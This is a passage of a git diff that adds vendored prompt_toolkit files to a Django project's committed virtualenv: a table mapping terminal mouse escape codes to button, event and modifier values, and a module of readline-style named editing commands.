frozenset({MouseModifier.SHIFT, MouseModifier.ALT, MouseModifier.CONTROL}) +UNKNOWN_MODIFIER : FrozenSet[MouseModifier] = frozenset() + +LEFT = MouseButton.LEFT +MIDDLE = MouseButton.MIDDLE +RIGHT = MouseButton.RIGHT +NO_BUTTON = MouseButton.NONE +UNKNOWN_BUTTON = MouseButton.UNKNOWN + +xterm_sgr_mouse_events = { + ( 0, 'm') : (LEFT, MOUSE_UP, NO_MODIFIER), # left_up 0+ + + =0 + ( 4, 'm') : (LEFT, MOUSE_UP, SHIFT), # left_up Shift 0+4+ + =4 + ( 8, 'm') : (LEFT, MOUSE_UP, ALT), # left_up Alt 0+ +8+ =8 + (12, 'm') : (LEFT, MOUSE_UP, SHIFT_ALT), # left_up Shift Alt 0+4+8+ =12 + (16, 'm') : (LEFT, MOUSE_UP, CONTROL), # left_up Control 0+ + +16=16 + (20, 'm') : (LEFT, MOUSE_UP, SHIFT_CONTROL), # left_up Shift Control 0+4+ +16=20 + (24, 'm') : (LEFT, MOUSE_UP, ALT_CONTROL), # left_up Alt Control 0+ +8+16=24 + (28, 'm') : (LEFT, MOUSE_UP, SHIFT_ALT_CONTROL), # left_up Shift Alt Control 0+4+8+16=28 + + ( 1, 'm') : (MIDDLE, MOUSE_UP, NO_MODIFIER), # middle_up 1+ + + =1 + ( 5, 'm') : (MIDDLE, MOUSE_UP, SHIFT), # middle_up Shift 1+4+ + =5 + ( 9, 'm') : (MIDDLE, MOUSE_UP, ALT), # middle_up Alt 1+ +8+ =9 + (13, 'm') : (MIDDLE, MOUSE_UP, SHIFT_ALT), # middle_up Shift Alt 1+4+8+ =13 + (17, 'm') : (MIDDLE, MOUSE_UP, CONTROL), # middle_up Control 1+ + +16=17 + (21, 'm') : (MIDDLE, MOUSE_UP, SHIFT_CONTROL), # middle_up Shift Control 1+4+ +16=21 + (25, 'm') : (MIDDLE, MOUSE_UP, ALT_CONTROL), # middle_up Alt Control 1+ +8+16=25 + (29, 'm') : (MIDDLE, MOUSE_UP, SHIFT_ALT_CONTROL), # middle_up Shift Alt Control 1+4+8+16=29 + + ( 2, 'm') : (RIGHT, MOUSE_UP, NO_MODIFIER), # right_up 2+ + + =2 + ( 6, 'm') : (RIGHT, MOUSE_UP, SHIFT), # right_up Shift 2+4+ + =6 + (10, 'm') : (RIGHT, MOUSE_UP, ALT), # right_up Alt 2+ +8+ =10 + (14, 'm') : (RIGHT, MOUSE_UP, SHIFT_ALT), # right_up Shift Alt 2+4+8+ =14 + (18, 'm') : (RIGHT, MOUSE_UP, CONTROL), # right_up Control 2+ + +16=18 + (22, 'm') : (RIGHT, MOUSE_UP, SHIFT_CONTROL), # right_up Shift Control 2+4+ +16=22 + (26, 'm') : (RIGHT, MOUSE_UP, ALT_CONTROL), # right_up Alt Control 2+ +8+16=26 + (30, 'm') : (RIGHT, MOUSE_UP, SHIFT_ALT_CONTROL), # right_up Shift Alt Control 2+4+8+16=30 + + ( 0, 'M') : (LEFT, MOUSE_DOWN, NO_MODIFIER), # left_down 0+ + + =0 + ( 4, 'M') : (LEFT, MOUSE_DOWN, SHIFT), # left_down Shift 0+4+ + =4 + ( 8, 'M') : (LEFT, MOUSE_DOWN, ALT), # left_down Alt 0+ +8+ =8 + (12, 'M') : (LEFT, MOUSE_DOWN, SHIFT_ALT), # left_down Shift Alt 0+4+8+ =12 + (16, 'M') : (LEFT, MOUSE_DOWN, CONTROL), # left_down Control 0+ + +16=16 + (20, 'M') : (LEFT, MOUSE_DOWN, SHIFT_CONTROL), # left_down Shift Control 0+4+ +16=20 + (24, 'M') : (LEFT, MOUSE_DOWN, ALT_CONTROL), # left_down Alt Control 0+ +8+16=24 + (28, 'M') : (LEFT, MOUSE_DOWN, SHIFT_ALT_CONTROL), # left_down Shift Alt Control 0+4+8+16=28 + + ( 1, 'M') : (MIDDLE, MOUSE_DOWN, NO_MODIFIER), # middle_down 1+ + + =1 + ( 5, 'M') : (MIDDLE, MOUSE_DOWN, SHIFT), # middle_down Shift 1+4+ + =5 + ( 9, 'M') : (MIDDLE, MOUSE_DOWN, ALT), # middle_down Alt 1+ +8+ =9 + (13, 'M') : (MIDDLE, MOUSE_DOWN, SHIFT_ALT), # middle_down Shift Alt 1+4+8+ =13 + (17, 'M') : (MIDDLE, MOUSE_DOWN, CONTROL), # middle_down Control 1+ + +16=17 + (21, 'M') : (MIDDLE, MOUSE_DOWN, SHIFT_CONTROL), # middle_down Shift Control 1+4+ +16=21 + (25, 'M') : (MIDDLE, MOUSE_DOWN, ALT_CONTROL), # middle_down Alt Control 1+ +8+16=25 + (29, 'M') : (MIDDLE, MOUSE_DOWN, SHIFT_ALT_CONTROL), # middle_down Shift Alt Control 1+4+8+16=29 + + ( 2, 'M') : (RIGHT, MOUSE_DOWN, NO_MODIFIER), # right_down 2+ + + =2 + ( 6, 'M') : (RIGHT, MOUSE_DOWN, SHIFT), # right_down Shift 2+4+ + =6 + (10, 'M') : (RIGHT, MOUSE_DOWN, ALT), # right_down Alt 2+ +8+ =10 + (14, 'M') : (RIGHT, MOUSE_DOWN, SHIFT_ALT), # right_down Shift Alt 2+4+8+ =14 + (18, 'M') : (RIGHT, MOUSE_DOWN, CONTROL), # right_down Control 2+ + +16=18 + (22, 'M') : (RIGHT, MOUSE_DOWN, SHIFT_CONTROL), # right_down Shift Control 2+4+ +16=22 + (26, 'M') : (RIGHT, MOUSE_DOWN, ALT_CONTROL), # right_down Alt Control 2+ +8+16=26 + (30, 'M') : (RIGHT, MOUSE_DOWN, SHIFT_ALT_CONTROL), # right_down Shift Alt Control 2+4+8+16=30 + + (32, 'M') : (LEFT, MOUSE_MOVE, NO_MODIFIER), # left_drag 32+ + + =32 + (36, 'M') : (LEFT, MOUSE_MOVE, SHIFT), # left_drag Shift 32+4+ + =36 + (40, 'M') : (LEFT, MOUSE_MOVE, ALT), # left_drag Alt 32+ +8+ =40 + (44, 'M') : (LEFT, MOUSE_MOVE, SHIFT_ALT), # left_drag Shift Alt 32+4+8+ =44 + (48, 'M') : (LEFT, MOUSE_MOVE, CONTROL), # left_drag Control 32+ + +16=48 + (52, 'M') : (LEFT, MOUSE_MOVE, SHIFT_CONTROL), # left_drag Shift Control 32+4+ +16=52 + (56, 'M') : (LEFT, MOUSE_MOVE, ALT_CONTROL), # left_drag Alt Control 32+ +8+16=56 + (60, 'M') : (LEFT, MOUSE_MOVE, SHIFT_ALT_CONTROL), # left_drag Shift Alt Control 32+4+8+16=60 + + (33, 'M') : (MIDDLE, MOUSE_MOVE, NO_MODIFIER), # middle_drag 33+ + + =33 + (37, 'M') : (MIDDLE, MOUSE_MOVE, SHIFT), # middle_drag Shift 33+4+ + =37 + (41, 'M') : (MIDDLE, MOUSE_MOVE, ALT), # middle_drag Alt 33+ +8+ =41 + (45, 'M') : (MIDDLE, MOUSE_MOVE, SHIFT_ALT), # middle_drag Shift Alt 33+4+8+ =45 + (49, 'M') : (MIDDLE, MOUSE_MOVE, CONTROL), # middle_drag Control 33+ + +16=49 + (53, 'M') : (MIDDLE, MOUSE_MOVE, SHIFT_CONTROL), # middle_drag Shift Control 33+4+ +16=53 + (57, 'M') : (MIDDLE, MOUSE_MOVE, ALT_CONTROL), # middle_drag Alt Control 33+ +8+16=57 + (61, 'M') : (MIDDLE, MOUSE_MOVE, SHIFT_ALT_CONTROL), # middle_drag Shift Alt Control 33+4+8+16=61 + + (34, 'M') : (RIGHT, MOUSE_MOVE, NO_MODIFIER), # right_drag 34+ + + =34 + (38, 'M') : (RIGHT, MOUSE_MOVE, SHIFT), # right_drag Shift 34+4+ + =38 + (42, 'M') : (RIGHT, MOUSE_MOVE, ALT), # right_drag Alt 34+ +8+ =42 + (46, 'M') : (RIGHT, MOUSE_MOVE, SHIFT_ALT), # right_drag Shift Alt 34+4+8+ =46 + (50, 'M') : (RIGHT, MOUSE_MOVE, CONTROL), # right_drag Control 34+ + +16=50 + (54, 'M') : (RIGHT, MOUSE_MOVE, SHIFT_CONTROL), # right_drag Shift Control 34+4+ +16=54 + (58, 'M') : (RIGHT, MOUSE_MOVE, ALT_CONTROL), # right_drag Alt Control 34+ +8+16=58 + (62, 'M') : (RIGHT, MOUSE_MOVE, SHIFT_ALT_CONTROL), # right_drag Shift Alt Control 34+4+8+16=62 + + (35, 'M') : (NO_BUTTON, MOUSE_MOVE, NO_MODIFIER), # none_drag 35+ + + =35 + (39, 'M') : (NO_BUTTON, MOUSE_MOVE, SHIFT), # none_drag Shift 35+4+ + =39 + (43, 'M') : (NO_BUTTON, MOUSE_MOVE, ALT), # none_drag Alt 35+ +8+ =43 + (47, 'M') : (NO_BUTTON, MOUSE_MOVE, SHIFT_ALT), # none_drag Shift Alt 35+4+8+ =47 + (51, 'M') : (NO_BUTTON, MOUSE_MOVE, CONTROL), # none_drag Control 35+ + +16=51 + (55, 'M') : (NO_BUTTON, MOUSE_MOVE, SHIFT_CONTROL), # none_drag Shift Control 35+4+ +16=55 + (59, 'M') : (NO_BUTTON, MOUSE_MOVE, ALT_CONTROL), # none_drag Alt Control 35+ +8+16=59 + (63, 'M') : (NO_BUTTON, MOUSE_MOVE, SHIFT_ALT_CONTROL), # none_drag Shift Alt Control 35+4+8+16=63 + + (64, 'M') : (NO_BUTTON, SCROLL_UP, NO_MODIFIER), # scroll_up 64+ + + =64 + (68, 'M') : (NO_BUTTON, SCROLL_UP, SHIFT), # scroll_up Shift 64+4+ + =68 + (72, 'M') : (NO_BUTTON, SCROLL_UP, ALT), # scroll_up Alt 64+ +8+ =72 + (76, 'M') : (NO_BUTTON, SCROLL_UP, SHIFT_ALT), # scroll_up Shift Alt 64+4+8+ =76 + (80, 'M') : (NO_BUTTON, SCROLL_UP, CONTROL), # scroll_up Control 64+ + +16=80 + (84, 'M') : (NO_BUTTON, SCROLL_UP, SHIFT_CONTROL), # scroll_up Shift Control 64+4+ +16=84 + (88, 'M') : (NO_BUTTON, SCROLL_UP, ALT_CONTROL), # scroll_up Alt Control 64+ +8+16=88 + (92, 'M') : (NO_BUTTON, SCROLL_UP, SHIFT_ALT_CONTROL), # scroll_up Shift Alt Control 64+4+8+16=92 + + (65, 'M') : (NO_BUTTON, SCROLL_DOWN, NO_MODIFIER), # scroll_down 64+ + + =65 + (69, 'M') : (NO_BUTTON, SCROLL_DOWN, SHIFT), # scroll_down Shift 64+4+ + =69 + (73, 'M') : (NO_BUTTON, SCROLL_DOWN, ALT), # scroll_down Alt 64+ +8+ =73 + (77, 'M') : (NO_BUTTON, SCROLL_DOWN, SHIFT_ALT), # scroll_down Shift Alt 64+4+8+ =77 + (81, 'M') : (NO_BUTTON, SCROLL_DOWN, CONTROL), # scroll_down Control 64+ + +16=81 + (85, 'M') : (NO_BUTTON, SCROLL_DOWN, SHIFT_CONTROL), # scroll_down Shift Control 64+4+ +16=85 + (89, 'M') : (NO_BUTTON, SCROLL_DOWN, ALT_CONTROL), # scroll_down Alt Control 64+ +8+16=89 + (93, 'M') : (NO_BUTTON, SCROLL_DOWN, SHIFT_ALT_CONTROL), # scroll_down Shift Alt Control 64+4+8+16=93 +} + +typical_mouse_events = { + 32: (LEFT , MOUSE_DOWN , UNKNOWN_MODIFIER), + 33: (MIDDLE , MOUSE_DOWN , UNKNOWN_MODIFIER), + 34: (RIGHT , MOUSE_DOWN , UNKNOWN_MODIFIER), + 35: (UNKNOWN_BUTTON , MOUSE_UP , UNKNOWN_MODIFIER), + + 64: (LEFT , MOUSE_MOVE , UNKNOWN_MODIFIER), + 65: (MIDDLE , MOUSE_MOVE , UNKNOWN_MODIFIER), + 66: (RIGHT , MOUSE_MOVE , UNKNOWN_MODIFIER), + 67: (NO_BUTTON , MOUSE_MOVE , UNKNOWN_MODIFIER), + + 96: (NO_BUTTON , SCROLL_UP , UNKNOWN_MODIFIER), + 97: (NO_BUTTON , SCROLL_DOWN, UNKNOWN_MODIFIER), +} + +urxvt_mouse_events={ + 32: (UNKNOWN_BUTTON, MOUSE_DOWN , UNKNOWN_MODIFIER), + 35: (UNKNOWN_BUTTON, MOUSE_UP , UNKNOWN_MODIFIER), + 96: (NO_BUTTON , SCROLL_UP , UNKNOWN_MODIFIER), + 97: (NO_BUTTON , SCROLL_DOWN, UNKNOWN_MODIFIER), +} +# fmt:on + + +def load_mouse_bindings() -> KeyBindings: + """ + Key bindings, required for mouse support. + (Mouse events enter through the key binding system.) + """ + key_bindings = KeyBindings() + + @key_bindings.add(Keys.Vt100MouseEvent) + def _(event: E) -> "NotImplementedOrNone": + """ + Handling of incoming mouse event. + """ + # TypicaL: "eSC[MaB*" + # Urxvt: "Esc[96;14;13M" + # Xterm SGR: "Esc[<64;85;12M" + + # Parse incoming packet. + if event.data[2] == "M": + # Typical. + mouse_event, x, y = map(ord, event.data[3:]) + + # TODO: Is it possible to add modifiers here? + mouse_button, mouse_event_type, mouse_modifiers = typical_mouse_events[ + mouse_event + ] + + # Handle situations where `PosixStdinReader` used surrogateescapes. + if x >= 0xDC00: + x -= 0xDC00 + if y >= 0xDC00: + y -= 0xDC00 + + x -= 32 + y -= 32 + else: + # Urxvt and Xterm SGR. + # When the '<' is not present, we are not using the Xterm SGR mode, + # but Urxvt instead. + data = event.data[2:] + if data[:1] == "<": + sgr = True + data = data[1:] + else: + sgr = False + + # Extract coordinates. + mouse_event, x, y = map(int, data[:-1].split(";")) + m = data[-1] + + # Parse event type. + if sgr: + try: + ( + mouse_button, + mouse_event_type, + mouse_modifiers, + ) = xterm_sgr_mouse_events[mouse_event, m] + except KeyError: + return NotImplemented + + else: + # Some other terminals, like urxvt, Hyper terminal, ... + ( + mouse_button, + mouse_event_type, + mouse_modifiers, + ) = urxvt_mouse_events.get( + mouse_event, (UNKNOWN_BUTTON, MOUSE_MOVE, UNKNOWN_MODIFIER) + ) + + x -= 1 + y -= 1 + + # Only handle mouse events when we know the window height. + if event.app.renderer.height_is_known and mouse_event_type is not None: + # Take region above the layout into account. The reported + # coordinates are absolute to the visible part of the terminal. + from prompt_toolkit.renderer import HeightIsUnknownError + + try: + y -= event.app.renderer.rows_above_layout + except HeightIsUnknownError: + return NotImplemented + + # Call the mouse handler from the renderer. + + # Note: This can return `NotImplemented` if no mouse handler was + # found for this position, or if no repainting needs to + # happen. this way, we avoid excessive repaints during mouse + # movements. + handler = event.app.renderer.mouse_handlers.mouse_handlers[y][x] + return handler( + MouseEvent( + position=Point(x=x, y=y), + event_type=mouse_event_type, + button=mouse_button, + modifiers=mouse_modifiers, + ) + ) + + return NotImplemented + + @key_bindings.add(Keys.ScrollUp) + def _scroll_up(event: E) -> None: + """ + Scroll up event without cursor position. + """ + # We don't receive a cursor position, so we don't know which window to + # scroll. Just send an 'up' key press instead. + event.key_processor.feed(KeyPress(Keys.Up), first=True) + + @key_bindings.add(Keys.ScrollDown) + def _scroll_down(event: E) -> None: + """ + Scroll down event without cursor position. + """ + event.key_processor.feed(KeyPress(Keys.Down), first=True) + + @key_bindings.add(Keys.WindowsMouseEvent) + def _mouse(event: E) -> "NotImplementedOrNone": + """ + Handling of mouse events for Windows. + """ + # This key binding should only exist for Windows. + if sys.platform == "win32": + # Parse data. + pieces = event.data.split(";") + + button = MouseButton(pieces[0]) + event_type = MouseEventType(pieces[1]) + x = int(pieces[2]) + y = int(pieces[3]) + + # Make coordinates absolute to the visible part of the terminal. + output = event.app.renderer.output + + from prompt_toolkit.output.win32 import Win32Output + from prompt_toolkit.output.windows10 import Windows10_Output + + if isinstance(output, (Win32Output, Windows10_Output)): + screen_buffer_info = output.get_win32_screen_buffer_info() + rows_above_cursor = ( + screen_buffer_info.dwCursorPosition.Y + - event.app.renderer._cursor_pos.y + ) + y -= rows_above_cursor + + # Call the mouse event handler. + # (Can return `NotImplemented`.) + handler = event.app.renderer.mouse_handlers.mouse_handlers[y][x] + + return handler( + MouseEvent( + position=Point(x=x, y=y), + event_type=event_type, + button=button, + modifiers=UNKNOWN_MODIFIER, + ) + ) + + # No mouse handler found. Return `NotImplemented` so that we don't + # invalidate the UI. + return NotImplemented + + return key_bindings diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/named_commands.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/named_commands.py new file mode 100644 index 00000000..e0796ef0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/named_commands.py @@ -0,0 +1,687 @@ +""" +Key bindings which are also known by GNU Readline by the given names. + +See: http://www.delorie.com/gnu/docs/readline/rlman_13.html +""" +from typing import Callable, Dict, TypeVar, Union, cast + +from prompt_toolkit.document import Document +from prompt_toolkit.enums import EditingMode +from prompt_toolkit.key_binding.key_bindings import Binding, key_binding +from prompt_toolkit.key_binding.key_processor import KeyPress, KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.layout.controls import BufferControl +from prompt_toolkit.search import SearchDirection +from prompt_toolkit.selection import PasteMode + +from .completion import display_completions_like_readline, generate_completions + +__all__ = [ + "get_by_name", +] + + +# Typing. +_Handler = Callable[[KeyPressEvent], None] +_HandlerOrBinding = Union[_Handler, Binding] +_T = TypeVar("_T", bound=_HandlerOrBinding) +E = KeyPressEvent + + +# Registry that maps the Readline command names to their handlers. +_readline_commands: Dict[str, Binding] = {} + + +def register(name: str) -> Callable[[_T], _T]: + """ + Store handler in the `_readline_commands` dictionary. + """ + + def decorator(handler: _T) -> _T: + "`handler` is a callable or Binding." + if isinstance(handler, Binding): + _readline_commands[name] = handler + else: + _readline_commands[name] = key_binding()(cast(_Handler, handler)) + + return handler + + return decorator + + +def get_by_name(name: str) -> Binding: + """ + Return the handler for the (Readline) command with the given name. + """ + try: + return _readline_commands[name] + except KeyError as e: + raise KeyError("Unknown Readline command: %r" % name) from e + + +# +# Commands for moving +# See: http://www.delorie.com/gnu/docs/readline/rlman_14.html +# + + +@register("beginning-of-buffer") +def beginning_of_buffer(event: E) -> None: + """ + Move to the start of the buffer. + """ + buff = event.current_buffer + buff.cursor_position = 0 + + +@register("end-of-buffer") +def end_of_buffer(event: E) -> None: + """ + Move to the end of the buffer. + """ + buff = event.current_buffer + buff.cursor_position = len(buff.text) + + +@register("beginning-of-line") +def beginning_of_line(event: E) -> None: + """ + Move to the start of the current line. + """ + buff = event.current_buffer + buff.cursor_position += buff.document.get_start_of_line_position( + after_whitespace=False + ) + + +@register("end-of-line") +def end_of_line(event: E) -> None: + """ + Move to the end of the line. + """ + buff = event.current_buffer + buff.cursor_position += buff.document.get_end_of_line_position() + + +@register("forward-char") +def forward_char(event: E) -> None: + """ + Move forward a character. + """ + buff = event.current_buffer + buff.cursor_position += buff.document.get_cursor_right_position(count=event.arg) + + +@register("backward-char") +def backward_char(event: E) -> None: + "Move back a character." + buff = event.current_buffer + buff.cursor_position += buff.document.get_cursor_left_position(count=event.arg) + + +@register("forward-word") +def forward_word(event: E) -> None: + """ + Move forward to the end of the next word. Words are composed of letters and + digits. + """ + buff = event.current_buffer + pos = buff.document.find_next_word_ending(count=event.arg) + + if pos: + buff.cursor_position += pos + + +@register("backward-word") +def backward_word(event: E) -> None: + """ + Move back to the start of the current or previous word. Words are composed + of letters and digits. + """ + buff = event.current_buffer + pos = buff.document.find_previous_word_beginning(count=event.arg) + + if pos: + buff.cursor_position += pos + + +@register("clear-screen") +def clear_screen(event: E) -> None: + """ + Clear the screen and redraw everything at the top of the screen. + """ + event.app.renderer.clear() + + +@register("redraw-current-line") +def redraw_current_line(event: E) -> None: + """ + Refresh the current line. + (Readline defines this command, but prompt-toolkit doesn't have it.) + """ + pass + + +# +# Commands for manipulating the history. +# See: http://www.delorie.com/gnu/docs/readline/rlman_15.html +# + + +@register("accept-line") +def accept_line(event: E) -> None: + """ + Accept the line regardless of where the cursor is. + """ + event.current_buffer.validate_and_handle() + + +@register("previous-history") +def previous_history(event: E) -> None: + """ + Move `back` through the history list, fetching the previous command. + """ + event.current_buffer.history_backward(count=event.arg) + + +@register("next-history") +def next_history(event: E) -> None: + """ + Move `forward` through the history list, fetching the next command. + """ + event.current_buffer.history_forward(count=event.arg) + + +@register("beginning-of-history") +def beginning_of_history(event: E) -> None: + """ + Move to the first line in the history. + """ + event.current_buffer.go_to_history(0) + + +@register("end-of-history") +def end_of_history(event: E) -> None: + """ + Move to the end of the input history, i.e., the line currently being entered. + """ + event.current_buffer.history_forward(count=10**100) + buff = event.current_buffer + buff.go_to_history(len(buff._working_lines) - 1) + + +@register("reverse-search-history") +def reverse_search_history(event: E) -> None: + """ + Search backward starting at the current line and moving `up` through + the history as necessary. This is an incremental search. + """ + control = event.app.layout.current_control + + if isinstance(control, BufferControl) and control.search_buffer_control: + event.app.current_search_state.direction = SearchDirection.BACKWARD + event.app.layout.current_control = control.search_buffer_control + + +# +# Commands for changing text +# + + +@register("end-of-file") +def end_of_file(event: E) -> None: + """ + Exit. + """ + event.app.exit() + + +@register("delete-char") +def delete_char(event: E) -> None: + """ + Delete character before the cursor. + """ + deleted = event.current_buffer.delete(count=event.arg) + if not deleted: + event.app.output.bell() + + +@register("backward-delete-char") +def backward_delete_char(event: E) -> None: + """ + Delete the character behind the cursor. + """ + if event.arg < 0: + # When a negative argument has been given, this should delete in front + # of the cursor. + deleted = event.current_buffer.delete(count=-event.arg) + else: + deleted = event.current_buffer.delete_before_cursor(count=event.arg) + + if not deleted: + event.app.output.bell() + + +@register("self-insert") +def self_insert(event: E) -> None: + """ + Insert yourself. + """ + event.current_buffer.insert_text(event.data * event.arg) + + +@register("transpose-chars") +def transpose_chars(event: E) -> None: + """ + Emulate Emacs transpose-char behavior: at the beginning of the buffer, + do nothing. At the end of a line or buffer, swap the characters before + the cursor. Otherwise, move the cursor right, and then swap the + characters before the cursor. + """ + b = event.current_buffer + p = b.cursor_position + if p == 0: + return + elif p == len(b.text) or b.text[p] == "\n": + b.swap_characters_before_cursor() + else: + b.cursor_position += b.document.get_cursor_right_position() + b.swap_characters_before_cursor() + + +@register("uppercase-word") +def uppercase_word(event: E) -> None: + """ + Uppercase the current (or following) word. + """ + buff = event.current_buffer + + for i in range(event.arg): + pos = buff.document.find_next_word_ending() + words = buff.document.text_after_cursor[:pos] + buff.insert_text(words.upper(), overwrite=True) + + +@register("downcase-word") +def downcase_word(event: E) -> None: + """ + Lowercase the current (or following) word. + """ + buff = event.current_buffer + + for i in range(event.arg): # XXX: not DRY: see meta_c and meta_u!! + pos = buff.document.find_next_word_ending() + words = buff.document.text_after_cursor[:pos] + buff.insert_text(words.lower(), overwrite=True) + + +@register("capitalize-word") +def capitalize_word(event: E) -> None: + """ + Capitalize the current (or following) word. + """ + buff = event.current_buffer + + for i in range(event.arg): + pos = buff.document.find_next_word_ending() + words = buff.document.text_after_cursor[:pos] + buff.insert_text(words.title(), overwrite=True) + + +@register("quoted-insert") +def quoted_insert(event: E) -> None: + """ + Add the next character typed to the line verbatim. This is how to insert + key sequences like C-q, for example. + """ + event.app.quoted_insert = True + + +# +# Killing and yanking. +# + + +@register("kill-line") +def kill_line(event: E) -> None: + """ + Kill the text from the cursor to the end of the line. + + If we are at the end of the line, this should remove the newline. + (That way, it is possible to delete multiple lines by executing this + command multiple times.) + """ + buff = event.current_buffer + if event.arg < 0: + deleted = buff.delete_before_cursor( + count=-buff.document.get_start_of_line_position() + ) + else: + if buff.document.current_char == "\n": + deleted = buff.delete(1) + else: + deleted = buff.delete(count=buff.document.get_end_of_line_position()) + event.app.clipboard.set_text(deleted) + + +@register("kill-word") +def kill_word(event: E) -> None: + """ + Kill from point to the end of the current word, or if between words, to the + end of the next word. Word boundaries are the same as forward-word. + """ + buff = event.current_buffer + pos = buff.document.find_next_word_ending(count=event.arg) + + if pos: + deleted = buff.delete(count=pos) + + if event.is_repeat: + deleted = event.app.clipboard.get_data().text + deleted + + event.app.clipboard.set_text(deleted) + + +@register("unix-word-rubout") +def unix_word_rubout(event: E, WORD: bool = True) -> None: + """ + Kill the word behind point, using whitespace as a word boundary. + Usually bound to ControlW. + """ + buff = event.current_buffer + pos = buff.document.find_start_of_previous_word(count=event.arg, WORD=WORD) + + if pos is None: + # Nothing found? delete until the start of the document. (The + # input starts with whitespace and no words were found before the + # cursor.) + pos = -buff.cursor_position + + if pos: + deleted = buff.delete_before_cursor(count=-pos) + + # If the previous key press was also Control-W, concatenate deleted + # text. + if event.is_repeat: + deleted += event.app.clipboard.get_data().text + + event.app.clipboard.set_text(deleted) + else: + # Nothing to delete. Bell. + event.app.output.bell() + + +@register("backward-kill-word") +def backward_kill_word(event: E) -> None: + """ + Kills the word before point, using "not a letter nor a digit" as a word boundary. + Usually bound to M-Del or M-Backspace. + """ + unix_word_rubout(event, WORD=False) + + +@register("delete-horizontal-space") +def delete_horizontal_space(event: E) -> None: + """ + Delete all spaces and tabs around point. + """ + buff = event.current_buffer + text_before_cursor = buff.document.text_before_cursor + text_after_cursor = buff.document.text_after_cursor + + delete_before = len(text_before_cursor) - len(text_before_cursor.rstrip("\t ")) + delete_after = len(text_after_cursor) - len(text_after_cursor.lstrip("\t ")) + + buff.delete_before_cursor(count=delete_before) + buff.delete(count=delete_after) + + +@register("unix-line-discard") +def unix_line_discard(event: E) -> None: + """ + Kill backward from the cursor to the beginning of the current line. + """ + buff = event.current_buffer + + if buff.document.cursor_position_col == 0 and buff.document.cursor_position > 0: + buff.delete_before_cursor(count=1) + else: + deleted = buff.delete_before_cursor( + count=-buff.document.get_start_of_line_position() + ) + event.app.clipboard.set_text(deleted) + + +@register("yank") +def yank(event: E) -> None: + """ + Paste before cursor. + """ + event.current_buffer.paste_clipboard_data( + event.app.clipboard.get_data(), count=event.arg, paste_mode=PasteMode.EMACS + ) + + +@register("yank-nth-arg") +def yank_nth_arg(event: E) -> None: + """ + Insert the first argument of the previous command. With an argument, insert + the nth word from the previous command (start counting at 0). + """ + n = event.arg if event.arg_present else None + event.current_buffer.yank_nth_arg(n) + + +@register("yank-last-arg") +def yank_last_arg(event: E) -> None: + """ + Like `yank_nth_arg`, but if no argument has been given, yank the last word + of each line. + """ + n = event.arg if event.arg_present else None + event.current_buffer.yank_last_arg(n) + + +@register("yank-pop") +def yank_pop(event: E) -> None: + """ + Rotate the kill ring, and yank the new top. Only works following yank or + yank-pop. + """ + buff = event.current_buffer + doc_before_paste = buff.document_before_paste + clipboard = event.app.clipboard + + if doc_before_paste is not None: + buff.document = doc_before_paste + clipboard.rotate() + buff.paste_clipboard_data(clipboard.get_data(), paste_mode=PasteMode.EMACS) + + +# +# Completion. +# + + +@register("complete") +def complete(event: E) -> None: + """ + Attempt to perform completion. + """ + display_completions_like_readline(event) + + +@register("menu-complete") +def menu_complete(event: E) -> None: + """ + Generate completions, or go to the next completion. (This is the default + way of completing input in prompt_toolkit.) + """ + generate_completions(event) + + +@register("menu-complete-backward") +def menu_complete_backward(event: E) -> None: + """ + Move backward through the list of possible completions. + """ + event.current_buffer.complete_previous() + + +# +# Keyboard macros. +# + + +@register("start-kbd-macro") +def start_kbd_macro(event: E) -> None: + """ + Begin saving the characters typed into the current keyboard macro. + """ + event.app.emacs_state.start_macro() + + +@register("end-kbd-macro") +def end_kbd_macro(event: E) -> None: + """ + Stop saving the characters typed into the current keyboard macro and save + the definition. + """ + event.app.emacs_state.end_macro() + + +@register("call-last-kbd-macro") +@key_binding(record_in_macro=False) +def call_last_kbd_macro(event: E) -> None: + """ + Re-execute the last keyboard macro defined, by making the characters in the + macro appear as if typed at the keyboard. + + Notice that we pass `record_in_macro=False`. This ensures that the 'c-x e' + key sequence doesn't appear in the recording itself. This function inserts + the body of the called macro back into the KeyProcessor, so these keys will + be added later on to the macro of their handlers have `record_in_macro=True`. + """ + # Insert the macro. + macro = event.app.emacs_state.macro + + if macro: + event.app.key_processor.feed_multiple(macro, first=True) + + +@register("print-last-kbd-macro") +def print_last_kbd_macro(event: E) -> None: + """ + Print the last keyboard macro. + """ + # TODO: Make the format suitable for the inputrc file. + def print_macro() -> None: + macro = event.app.emacs_state.macro + if macro: + for k in macro: + print(k) + + from prompt_toolkit.application.run_in_terminal import run_in_terminal + + run_in_terminal(print_macro) + + +# +# Miscellaneous Commands. +# + + +@register("undo") +def undo(event: E) -> None: + """ + Incremental undo. + """ + event.current_buffer.undo() + + +@register("insert-comment") +def insert_comment(event: E) -> None: + """ + Without numeric argument, comment all lines. + With numeric argument, uncomment all lines. + In any case accept the input. + """ + buff = event.current_buffer + + # Transform all lines. + if event.arg != 1: + + def change(line: str) -> str: + return line[1:] if line.startswith("#") else line + + else: + + def change(line: str) -> str: + return "#" + line + + buff.document = Document( + text="\n".join(map(change, buff.text.splitlines())), cursor_position=0 + ) + + # Accept input. + buff.validate_and_handle() + + +@register("vi-editing-mode") +def vi_editing_mode(event: E) -> None: + """ + Switch to Vi editing mode. + """ + event.app.editing_mode = EditingMode.VI + + +@register("emacs-editing-mode") +def emacs_editing_mode(event: E) -> None: + """ + Switch to Emacs editing mode. + """ + event.app.editing_mode = EditingMode.EMACS + + +@register("prefix-meta") +def prefix_meta(event: E) -> None: + """ + Metafy the next character typed. This is for keyboards without a meta key. + + Sometimes people also want to bind other keys to Meta, e.g. 'jj':: + + key_bindings.add_key_binding('j', 'j', filter=ViInsertMode())(prefix_meta) + """ + # ('first' should be true, because we want to insert it at the current + # position in the queue.) + event.app.key_processor.feed(KeyPress(Keys.Escape), first=True) + + +@register("operate-and-get-next") +def operate_and_get_next(event: E) -> None: + """ + Accept the current line for execution and fetch the next line relative to + the current line from the history for editing. + """ + buff = event.current_buffer + new_index = buff.working_index + 1 + + # Accept the current input. (This will also redraw the interface in the + # 'done' state.) + buff.validate_and_handle() + + # Set the new index at the start of the next run. + def set_working_index() -> None: + if new_index < len(buff._working_lines): + buff.working_index = new_index + + event.app.pre_run_callables.append(set_working_index) 